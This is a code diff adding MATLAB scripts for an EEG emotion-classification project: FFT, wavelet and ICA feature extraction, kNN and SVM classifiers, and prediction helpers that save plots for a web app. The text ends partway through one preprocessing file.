Version 1.0

Data Processing/Classification/doAccuracy.m

@@ -0,0 +1,11 @@
+function [jmlBenar,rata_rata,tp,tn,fp,fn] = doAccuracy(method,class,method_classification)
+    project_path = strcat(pwd,'\..\..');
+%     method='ica_swt';%'ica_fft','swt','ica_swt';
+%     class='valence';%'valence';
+%     method_classification='svm';%'svm';
+    
+    datasets = saveDatasets(project_path,method,class);
+    label = separateClass(project_path,method,class);
+    [datasets,label] = getTwoClass(datasets,label);
+    [jmlBenar,rata_rata,tp,tn,fp,fn] = findAccuracy(datasets,label,method_classification);
+end

Data Processing/Classification/findAccuracy.m

@@ -0,0 +1,46 @@
+function [jmlBenar,rata_rata,tp,tn,fp,fn] = findAccuracy(datasets,label,method)
+    jmlData = length(label);
+    %jmlTest = 20;
+
+    tp = 0;
+    fn = 0;
+    fp = 0;
+    tn = 0;
+    
+    indices = crossvalind('Kfold',jmlData,10);
+    for h = 1:10
+        test = (indices == h); train = ~test;
+        jmlTest = sum(test);
+        TrainingSet=datasets(train,:); 
+        TestSet=datasets(test,:); 
+        GroupTrain=label(train);
+        dataAsli = label(test);  
+        
+        if strcmp(method,'svm')
+            svmStruct = svmtrain(TrainingSet,GroupTrain,'kernel_function','rbf');
+            results = svmclassify(svmStruct,TestSet);
+        elseif strcmp(method,'knn')
+            results = kNN(TrainingSet, GroupTrain, TestSet, 3);
+        end
+
+        jmlBenar(h) = 0;
+        for i = 1:jmlTest
+            if(dataAsli(i)==results(i))
+                if dataAsli(i)==3
+                    tp=tp+1;
+                else
+                    tn=tn+1;
+                end
+                jmlBenar(h)=jmlBenar(h)+1;
+            else
+                if results(i)==3
+                    fp=fp+1;
+                else
+                    fn=fn+1;
+                end
+            end 
+        end
+        jmlBenar(h) = jmlBenar(h)/jmlTest;
+    end
+    rata_rata = mean2(jmlBenar);
+end

Data Processing/Classification/getDatasets.m

@@ -0,0 +1,3 @@
+function Datasets = getDatasets(project_path,method,class)
+    Datasets = csvread(strcat(project_path,'\Metadata\datasets_',method,'_',class,'.csv'));
+end

Data Processing/Classification/getDatasetsPrediction.m

@@ -0,0 +1,3 @@
+function Datasets = getDatasetsPrediction(project_path,method,class)
+    Datasets = csvread(strcat(project_path,'\Metadata\datasets_',method,'_',class,'.csv'));
+end

Data Processing/Classification/getPrediction.m

@@ -0,0 +1,34 @@
+function [valence,arousal] = getPrediction(file_path,preprocessing_method,classification_method)
+    %%%%%%%%%%%%%%
+    %file_path = 'D:\5112100136 - Muhammad Nadzeri Munawar\TUGAS AKHIR\Datasets\EEG\S04\S04-T13-10.11.15.11.40.03.csv';
+    project_path = strcat(pwd,'\..\..');
+    %preprocessing_method='fft';%'ica_fft','swt','ica_swt';
+    %classification_method='knn';
+    channel_v = [10,3,14,5,1,8,6,4,7,11];
+    fb_v = [3,4,5];
+    features_v = [2,3];
+    
+    channel_a = [3,13,10,2,1,12,4,7,8,11];
+    fb_a = [3,4,5];
+    features_a = [2,3];
+    %%%%%%%%%%%%%%%
+    
+    addpath(genpath('..\Process Data'));
+    addpath(genpath('..\Preprocessing'));
+    
+    raw_data = cutDataPredict(file_path);
+    preprocessing_result_v = preProcessingPredict(raw_data,preprocessing_method,channel_v,fb_v,features_v);
+    preprocessing_result_a = preProcessingPredict(raw_data,preprocessing_method,channel_a,fb_a,features_a);
+
+    % Find Valence
+    datasets = getDatasetsPrediction(project_path,preprocessing_method,'valence');
+    label = separateClassPrediction(project_path,preprocessing_method,'valence');
+    [datasets,label] = getTwoClass(datasets,label);
+    valence = predictClassification(preprocessing_result_v,datasets,label,classification_method);
+    
+    % Find Arousal
+    datasets = getDatasetsPrediction(project_path,preprocessing_method,'arousal');
+    label = separateClassPrediction(project_path,preprocessing_method,'arousal');
+    [datasets,label] = getTwoClass(datasets,label);
+    arousal = predictClassification(preprocessing_result_a,datasets,label,classification_method);
+end

Data Processing/Classification/getTwoClass.m

@@ -0,0 +1,5 @@
+function [datasets,label] = getTwoClass(datasets,label)
+    idx = (label(:)~=2);
+    label = label(idx);
+    datasets = datasets(idx,:);
+end

Data Processing/Classification/kNN.m

@@ -0,0 +1,30 @@
+
+function [results] = kNN(TrainingSet,GroupTrain,TestSet,k)
+    [L,L1] = size(TestSet);
+    results = zeros(L);
+    for i = 1:L
+        [L2,L3] = size(TrainingSet);
+        data_distance = zeros(L2);
+        for j = 1:L2
+            p = TrainingSet(j,:);
+            q = TestSet(i,:);
+            
+            data_distance (j) = sum(abs(p-q)./(abs(p) + abs(q)));
+        end
+        
+        [B,I] = sort(data_distance);
+        
+        nearest = GroupTrain(I(1:k));
+        nearest_distance = B(1:k);
+        sse = nearest_distance(1)/nearest_distance(2);
+%         disp(sse);
+%         disp(nearest);
+        if sse<=0.97
+            results(i)=nearest(1);
+        else
+            results(i)=mode(nearest);
+        end
+        %results(i)=mode(nearest);
+    end
+end
+

Data Processing/Classification/predictClassification.m

@@ -0,0 +1,12 @@
+function kelas = predictClassification(feature,datasets,label,method)
+    TrainingSet=datasets; 
+    TestSet=feature; 
+    GroupTrain=label; 
+
+    if strcmp(method,'svm')
+        svmStruct = svmtrain(TrainingSet,GroupTrain);
+        kelas = svmclassify(svmStruct,TestSet);
+    elseif strcmp(method,'knn')
+        kelas = kNN(TrainingSet, GroupTrain, TestSet, 3);
+    end
+end

Data Processing/Classification/saveDatasets.m

@@ -0,0 +1,33 @@
+function Datasets = saveDatasets(project_path,method,class)
+    if strcmp(method,'fft')
+        basePath = strcat(project_path,'\FFT_EEG_',upper(class),'\');
+    elseif strcmp(method,'swt')
+        basePath = strcat(project_path,'\SWT_EEG_',upper(class),'\');
+    elseif strcmp(method,'ica_fft')
+        basePath = strcat(project_path,'\ICA_FFT_EEG_',upper(class),'\');
+    elseif strcmp(method,'ica_swt')
+        basePath = strcat(project_path,'\ICA_SWT_EEG_',upper(class),'\');
+    end
+    
+    all_files = dir(basePath);
+    all_files = all_files(3:end);
+    all_dir = all_files([all_files(:).isdir]);
+    subject = numel(all_dir);
+
+    counterDatasets = 1;
+
+    for h=1:subject
+        directory = sprintf('S%02d',h);
+        allList = dir( strcat(basePath,directory ));
+        allFiles = { allList(3:end).name };
+        trial = length(allFiles);
+
+        for i = 1:trial
+            rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
+            Datasets(counterDatasets,:) = rawData;
+            counterDatasets=counterDatasets+1;
+        end
+    end
+
+    csvwrite(strcat(project_path,'\Metadata\datasets_',method,'_',class,'.csv'),Datasets);
+end

Data Processing/Classification/separateClass.m

@@ -0,0 +1,14 @@
+function label = separateClass(project_path,method,class)
+    kelas = csvread(strcat(project_path,'\Metadata\kelas_',method,'_',class,'.csv'));
+    
+    for i = 1:length(kelas)
+        if(kelas(i)<=4)
+            label(i) = 1;
+        elseif (kelas(i)>=6)
+            label(i) = 3;
+        else
+            label(i) = 2;
+        end
+    end
+end
+

Data Processing/Classification/separateClassPrediction.m

@@ -0,0 +1,14 @@
+function label = separateClassPrediction(project_path,method,class)
+    kelas = csvread(strcat(project_path,'\Metadata\kelas_',method,'_',class,'.csv'));
+    
+    for i = 1:length(kelas)
+        if(kelas(i)<=4)
+            label(i) = 1;
+        elseif (kelas(i)>=6)
+            label(i) = 3;
+        else
+            label(i) = 2;
+        end
+    end
+end
+

Data Processing/Global Code/createFolder.m

@@ -0,0 +1,6 @@
+function createFolder(total_folder,path)
+    mkdir(path);
+    for i = 1:total_folder
+        mkdir(strcat(path,'\',sprintf('S%02d',i)));
+    end
+end

Data Processing/Preprocessing/computeFFT.m

@@ -0,0 +1,210 @@
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%Author : Muhammad Nadzeri Munawar
+%         
+%
+%This code is to create absolute_power variable of subject no. 20 such as :
+%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
+%channel, 5 mean total absolute power, 40 mean 40 trial
+%
+% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
+% method -> fft;ica_fft
+% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
+% channel -> [2,3,4,5,6,7,8,14];
+% fb -> 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma
+% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+function computeFFT(project_path,method,class,subject,channel,fb,features)
+    addpath(genpath('..\Global Code'));
+    
+    %define variable
+    if strcmp(method,'fft')
+        basePath = strcat(project_path,'\USED_EEG\');
+        destination = strcat(project_path,'\FFT_EEG_',upper(class));
+    elseif strcmp(method,'ica_fft')
+        basePath = strcat(project_path,'\ICA_EEG\');
+        destination = strcat(project_path,'\ICA_FFT_EEG_',upper(class));
+    end
+    kuesioner = csvread(strcat(project_path,'\Metadata\newDataKuesioner.csv'));
+    kuesioner = transpose(kuesioner);
+    samplingFrequency=128;
+    counter =1;
+    start = 1;
+    stop = 0;
+    kelas = [];
+
+    if strcmp(class,'valence')
+        kuesioner = kuesioner(1,:);
+    elseif strcmp(class,'arousal')
+        kuesioner = kuesioner(2,:);
+    end
+    
+    if exist(destination, 'dir')
+        system(strcat('rmdir /S /Q "',destination,'"'));
+    end
+    
+    createFolder(length(subject),destination);
+    
+    all_files = dir(basePath);
+    all_files = all_files(3:end);
+    all_dir = all_files([all_files(:).isdir]);
+    total_subject = numel(all_dir);
+    
+    for h=1:total_subject
+        directory = sprintf('S%02d',h);
+        direc = sprintf('S%02d',counter);
+        allList = dir( strcat(basePath,directory ));
+        allFiles = { allList(3:end).name };
+        trial = length(allFiles);
+
+        if h>1
+            start = stop + 1;
+        end
+        stop = start + trial - 1;
+
+        if ismember(h,subject)==0
+            continue;
+        end
+
+        kelas = horzcat(kelas,kuesioner(start:stop));
+
+        for i = 1:trial
+            rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
+            data = [];
+            for j = channel
+                X = rawData(j,:);
+
+                Fs = samplingFrequency;  % Sampling frequency
+                L = length(X);             % Length of signal
+
+                %compute fft from channel
+                Y = fft(X);
+
+                %Divide fft to get frequency
+                P2 = abs(Y/L);
+                P1 = P2(1:L/2+1);
+                P1(2:end-1) = 2*P1(2:end-1);
+
+                %divide froquency to get delta, theta, alpha, beta, gamma
+                %And average all of each range (delta, theta, alpha, beta, gamma) 
+                delta = P1(L*1/Fs:L*4/Fs);
+                theta = P1(L*4/Fs:L*8/Fs);
+                alpha = P1(L*8/Fs:L*13/Fs);
+                beta  = P1(L*13/Fs:L*30/Fs);
+                gamma = P1(L*30/Fs:L*50/Fs);
+                
+                data_feature = [];
+                
+                if ismember(1,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(delta)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(delta)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(delta)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(delta)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(delta.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(delta.^2)];
+                    end
+                end    
+                if ismember(2,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(theta)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(theta)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(theta)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(theta)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(theta.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(theta.^2)];
+                    end
+                end
+                if ismember(3,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(alpha)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(alpha)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(alpha)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(alpha)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(alpha.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(alpha.^2)];
+                    end
+                end
+                if ismember(4,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(beta)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(beta)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(beta)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(beta)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(beta.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(beta.^2)];
+                    end
+                end
+                if ismember(5,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(gamma)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(gamma)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(gamma)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(gamma)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(gamma.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(gamma.^2)];
+                    end
+                end
+                data = horzcat(data,data_feature);
+            end
+            csvwrite(strcat(destination,'\',direc,'\T',num2str(i),'.csv'),data);
+        end
+        counter=counter+1;
+    end
+    if strcmp(method,'fft')
+        csvwrite(strcat(project_path,'\Metadata\kelas_fft_',class,'.csv'),kelas);
+    elseif strcmp(method,'ica_fft')
+        csvwrite(strcat(project_path,'\Metadata\kelas_ica_fft_',class,'.csv'),kelas);
+    end
+    
+end

Data Processing/Preprocessing/computeFFTPredict.m

@@ -0,0 +1,174 @@
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%Author : Muhammad Nadzeri Munawar
+%         
+%
+%This code is to create absolute_power variable of subject no. 20 such as :
+%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
+%channel, 5 mean total absolute power, 40 mean 40 trial
+%
+% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
+% method -> fft;ica_fft
+% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
+% channel -> [2,3,4,5,6,7,8,14];
+% fb -> 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma
+% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+function data = computeFFTPredict(raw_data,preprocessing_method,channel,fb,features)
+    %define variable
+    if strcmp(preprocessing_method,'ica_fft')
+        raw_data = computeICAPredict(raw_data);
+    end
+    samplingFrequency=128;
+
+    data = [];
+    counter=1;
+    for j = channel
+        X = raw_data(j,:);
+
+        Fs = samplingFrequency;  % Sampling frequency
+        L = length(X);             % Length of signal
+
+        %compute fft from channel
+        Y = fft(X);
+
+        %Divide fft to get frequency
+        P2 = abs(Y/L);
+        P1 = P2(1:L/2+1);
+        P1(2:end-1) = 2*P1(2:end-1);
+
+        %divide froquency to get delta, theta, alpha, beta, gamma
+        %And average all of each range (delta, theta, alpha, beta, gamma) 
+        delta = P1(L*1/Fs:L*4/Fs);
+        theta = P1(L*4/Fs:L*8/Fs);
+        alpha = P1(L*8/Fs:L*13/Fs);
+        beta  = P1(L*13/Fs:L*30/Fs);
+        gamma = P1(L*30/Fs:L*50/Fs);
+        
+        if counter==1
+            set(gcf,'Visible','off');
+            plot(delta);
+            print -dpng '../../Web App/img/fft/delta.png';
+            
+            set(gcf,'Visible','off');
+            plot(theta);
+            print -dpng '../../Web App/img/fft/theta.png';
+            
+            set(gcf,'Visible','off');
+            plot(alpha);
+            print -dpng '../../Web App/img/fft/alpha.png';
+            
+            set(gcf,'Visible','off');
+            plot(beta);
+            print -dpng '../../Web App/img/fft/beta.png';
+            
+            set(gcf,'Visible','off');
+            plot(gamma);
+            print -dpng '../../Web App/img/fft/gamma.png';
+        end
+        
+        counter = 2;
+        data_feature = [];
+        if ismember(1,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(delta)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(delta)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(delta)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(delta)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(delta.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(delta.^2)];
+            end
+        end    
+        if ismember(2,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(theta)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(theta)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(theta)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(theta)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(theta.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(theta.^2)];
+            end
+        end
+        if ismember(3,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(alpha)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(alpha)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(alpha)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(alpha)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(alpha.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(alpha.^2)];
+            end
+        end
+        if ismember(4,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(beta)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(beta)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(beta)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(beta)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(beta.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(beta.^2)];
+            end
+        end
+        if ismember(5,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(gamma)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(gamma)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(gamma)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(gamma)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(gamma.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(gamma.^2)];
+            end
+        end
+        data = horzcat(data,data_feature);
+    end
+end

Data Processing/Preprocessing/computeICA.m

@@ -0,0 +1,39 @@
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%Author : Muhammad Nadzeri Munawar
+%         
+%
+%This code is to create absolute_power variable of subject no. 20 such as :
+%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
+%channel, 5 mean total absolute power, 40 mean 40 trial
+%
+% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+function computeICA(project_path)
+    addpath(genpath('pca_ica'));
+    addpath(genpath('..\Global Code'));
+    basePath = strcat(project_path,'\USED_EEG\');
+    all_files = dir(basePath);
+    all_files = all_files(3:end);
+    all_dir = all_files([all_files(:).isdir]);
+    subject = numel(all_dir);
+    
+    if exist(strcat(project_path,'\ICA_EEG'), 'dir')
+        system(strcat('rmdir /S /Q "',project_path,'\ICA_EEG"'));
+    end
+    
+    createFolder(subject,strcat(project_path,'\ICA_EEG'));
+
+    for h=1:subject
+        directory = sprintf('S%02d',h);
+        allList = dir( strcat(basePath,directory ));
+        allFiles = { allList(3:end).name };
+        trial = length(allFiles);
+
+        for i = 1:trial
+            rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
+            rawData = myICA(rawData,14);
+            csvwrite(strcat(project_path,'\ICA_EEG\',directory,'\T',num2str(i),'.csv'),rawData);
+        end
+    end
+end

Data Processing/Preprocessing/computeICAPredict.m

@@ -0,0 +1,24 @@
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%Author : Muhammad Nadzeri Munawar
+%         
+%
+%This code is to create absolute_power variable of subject no. 20 such as :
+%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
+%channel, 5 mean total absolute power, 40 mean 40 trial
+%
+% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+function ica_data = computeICAPredict(raw_data)
+    addpath(genpath('pca_ica'));
+    
+    ica_data = myICA(raw_data,14);
+    
+    for i=1:14
+        path = strcat('../../Web App/img/ica/',num2str(i),'.png');
+
+        set(gcf,'Visible','off');
+        plot(ica_data(i,:));
+        print(path,'-dpng');
+    end
+end

Data Processing/Preprocessing/computeSWT.m

@@ -0,0 +1,195 @@
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%Author : Muhammad Nadzeri Munawar
+%         
+%
+%This code is to create absolute_power variable of subject no. 20 such as :
+%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
+%channel, 5 mean total absolute power, 40 mean 40 trial
+%
+% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
+% method -> swt;ica_swt
+% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
+% channel -> [2,3,4,5,6,7,8,14];
+% fb -> 1.A5;2.D5;3.D4;4.D3;5.D2
+% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+function computeSWT(project_path,method,class,subject,channel,fb,features)
+    addpath(genpath('..\Global Code'));
+
+    %define variable
+    if strcmp(method,'swt')
+        basePath = strcat(project_path,'\USED_EEG\');
+        destination = strcat(project_path,'\SWT_EEG_',upper(class));
+    elseif strcmp(method,'ica_swt')
+        basePath = strcat(project_path,'\ICA_EEG\');
+        destination = strcat(project_path,'\ICA_SWT_EEG_',upper(class));
+    end
+    kuesioner = csvread(strcat(project_path,'\Metadata\newDataKuesioner.csv'));
+    kuesioner = transpose(kuesioner);
+    samplingFrequency=128;
+    counter =1;
+    start = 1;
+    stop = 0;
+    kelas = [];
+    
+    if strcmp(class,'valence')
+        kuesioner = kuesioner(1,:);
+    elseif strcmp(class,'arousal')
+        kuesioner = kuesioner(2,:);
+    end
+    
+    if exist(destination, 'dir')
+        system(strcat('rmdir /S /Q "',destination,'"'));
+    end
+    
+    createFolder(length(subject),destination);
+    
+    all_files = dir(basePath);
+    all_files = all_files(3:end);
+    all_dir = all_files([all_files(:).isdir]);
+    totalSubject = numel(all_dir);
+
+    for h=1:totalSubject
+        directory = sprintf('S%02d',h);
+        direc = sprintf('S%02d',counter);
+        allList = dir( strcat(basePath,directory ));
+        allFiles = { allList(3:end).name };
+        trial = length(allFiles);
+
+        if h>1
+            start = stop + 1;
+        end
+        stop = start + trial - 1;
+
+        if ismember(h,subject)==0
+            continue;
+        end
+
+        kelas = horzcat(kelas,kuesioner(start:stop));
+
+        for i = 1:trial
+            rawData = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
+            data = [];
+            for j = channel
+                [swa,swd] = swt(rawData(j,:),5,'db4');
+                d2=swd(2,:);
+                d3=swd(3,:);
+                d4=swd(4,:);
+                d5=swd(5,:);
+                a5=swa(5,:);
+                
+                data_feature = [];
+                
+                if ismember(1,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(a5)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(a5)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(a5)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(a5)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(a5.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(a5.^2)];
+                    end
+                end    
+                if ismember(2,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(d5)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(d5)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(d5)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(d5)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(d5.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(d5.^2)];
+                    end
+                end
+                if ismember(3,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(d4)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(d4)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(d4)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(d4)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(d4.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(d4.^2)];
+                    end
+                end
+                if ismember(4,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(d3)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(d3)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(d3)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(d3)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(d3.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(d3.^2)];
+                    end
+                end
+                if ismember(5,fb)
+                    if ismember(1,features)
+                        data_feature = [data_feature,min(d2)];
+                    end
+                    if ismember(2,features)
+                        data_feature = [data_feature,max(d2)];
+                    end
+                    if ismember(3,features)
+                        data_feature = [data_feature,std(d2)];
+                    end
+                    if ismember(4,features)
+                        data_feature = [data_feature,mean(d2)];
+                    end
+                    if ismember(5,features)
+                        data_feature = [data_feature,mean(d2.^2)];
+                    end
+                    if ismember(6,features)
+                        data_feature = [data_feature,sum(d2.^2)];
+                    end
+                end
+                data = horzcat(data,data_feature);
+            end
+            csvwrite(strcat(destination,'\',direc,'\T',num2str(i),'.csv'),data);
+        end
+        counter=counter+1;
+    end
+    if strcmp(method,'swt')
+        csvwrite(strcat(project_path,'\Metadata\kelas_swt_',class,'.csv'),kelas);
+    elseif strcmp(method,'ica_swt')
+        csvwrite(strcat(project_path,'\Metadata\kelas_ica_swt_',class,'.csv'),kelas);
+    end
+end

Data Processing/Preprocessing/computeSWTPredict.m

@@ -0,0 +1,161 @@
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%Author : Muhammad Nadzeri Munawar
+%         
+%
+%This code is to create absolute_power variable of subject no. 20 such as :
+%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
+%channel, 5 mean total absolute power, 40 mean 40 trial
+%
+% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
+% method -> swt;ica_swt
+% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
+% channel -> [2,3,4,5,6,7,8,14];
+% fb -> 1.A5;2.D5;3.D4;4.D3;5.D2
+% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+
+function data = computeSWTPredict(raw_data,preprocessing_method,channel,fb,features)
+    %define variable
+    if strcmp(preprocessing_method,'ica_swt')
+        raw_data = computeICAPredict(raw_data);
+    end
+    
+    counter=1;
+    data=[];
+    for j = channel
+        [swa,swd] = swt(raw_data(j,:),5,'db4');
+        d2=swd(2,:);
+        d3=swd(3,:);
+        d4=swd(4,:);
+        d5=swd(5,:);
+        a5=swa(5,:);
+        
+        if counter==1
+            set(gcf,'Visible','off');
+            plot(a5);
+            print -dpng '../../Web App/img/swt/a5.png';
+            
+            set(gcf,'Visible','off');
+            plot(d5);
+            print -dpng '../../Web App/img/swt/d5.png';
+            
+            set(gcf,'Visible','off');
+            plot(d4);
+            print -dpng '../../Web App/img/swt/d4.png';
+            
+            set(gcf,'Visible','off');
+            plot(d3);
+            print -dpng '../../Web App/img/swt/d3.png';
+            
+            set(gcf,'Visible','off');
+            plot(d2);
+            print -dpng '../../Web App/img/swt/d2.png';
+        end
+        
+        counter=2;
+
+        data_feature = [];
+
+        if ismember(1,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(a5)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(a5)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(a5)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(a5)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(a5.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(a5.^2)];
+            end
+        end    
+        if ismember(2,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(d5)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(d5)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(d5)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(d5)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(d5.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(d5.^2)];
+            end
+        end
+        if ismember(3,fb)
+            if ismember(1,features)
+                data_feature = [data_feature,min(d4)];
+            end
+            if ismember(2,features)
+                data_feature = [data_feature,max(d4)];
+            end
+            if ismember(3,features)
+                data_feature = [data_feature,std(d4)];
+            end
+            if ismember(4,features)
+                data_feature = [data_feature,mean(d4)];
+            end
+            if ismember(5,features)
+                data_feature = [data_feature,mean(d4.^2)];
+            end
+            if ismember(6,features)
+                data_feature = [data_feature,sum(d4.^2)];
+            end
